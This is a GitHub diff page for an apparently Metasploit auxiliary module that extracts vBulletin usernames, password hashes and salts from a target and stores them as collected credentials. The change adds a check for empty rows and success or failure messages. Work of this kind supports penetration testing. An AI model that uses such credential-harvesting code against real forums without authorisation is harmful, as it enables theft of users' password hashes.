File tree Expand file tree Collapse file tree 1 file changed +19
-12
lines changed Expand file tree Collapse file tree 1 file changed +19
-12
lines changed Original file line number Diff line number Diff line change @@ -160,7 +160,7 @@ def run
160
160
return
161
161
end
162
162
count_users = data . to_i
163
- print_good ( "#{ peer } - #{ count_users } users found" )
163
+ print_good ( "#{ peer } - #{ count_users } users found. Collecting credentials... " )
164
164
165
165
users_table = Rex ::Ui ::Text ::Table . new (
166
166
'Header' => 'vBulletin Users' ,
@@ -170,19 +170,26 @@ def run
170
170
171
171
for i in 0 ..count_users
172
172
user = get_user_data ( node_id , i )
173
- report_auth_info ( {
174
- :host => rhost ,
175
- :port => rport ,
176
- :user => user [ 0 ] ,
177
- :pass => user [ 1 ] ,
178
- :type => "hash" ,
179
- :sname => ( ssl ? "https" : "http" ) ,
180
- :proof => "salt: #{ user [ 2 ] } " # Using proof to store the hash salt
181
- } )
182
- users_table << user
173
+ unless user . join . empty?
174
+ report_auth_info ( {
175
+ :host => rhost ,
176
+ :port => rport ,
177
+ :user => user [ 0 ] ,
178
+ :pass => user [ 1 ] ,
179
+ :type => "hash" ,
180
+ :sname => ( ssl ? "https" : "http" ) ,
181
+ :proof => "salt: #{ user [ 2 ] } " # Using proof to store the hash salt
182
+ } )
183
+ users_table << user
184
+ end
183
185
end
184
186
185
- print_line ( users_table . to_s )
187
+ if users_table . rows . length > 0
188
+ print_good ( "#{ users_table . rows . length . to_s } credentials successfully collected" )
189
+ print_line ( users_table . to_s )
190
+ else
191
+ print_error ( "Unfortunately the module was unable to extract any credentials" )
192
+ end
186
193
end
187
194
188
195
You can’t perform that action at this time.
0 commit comments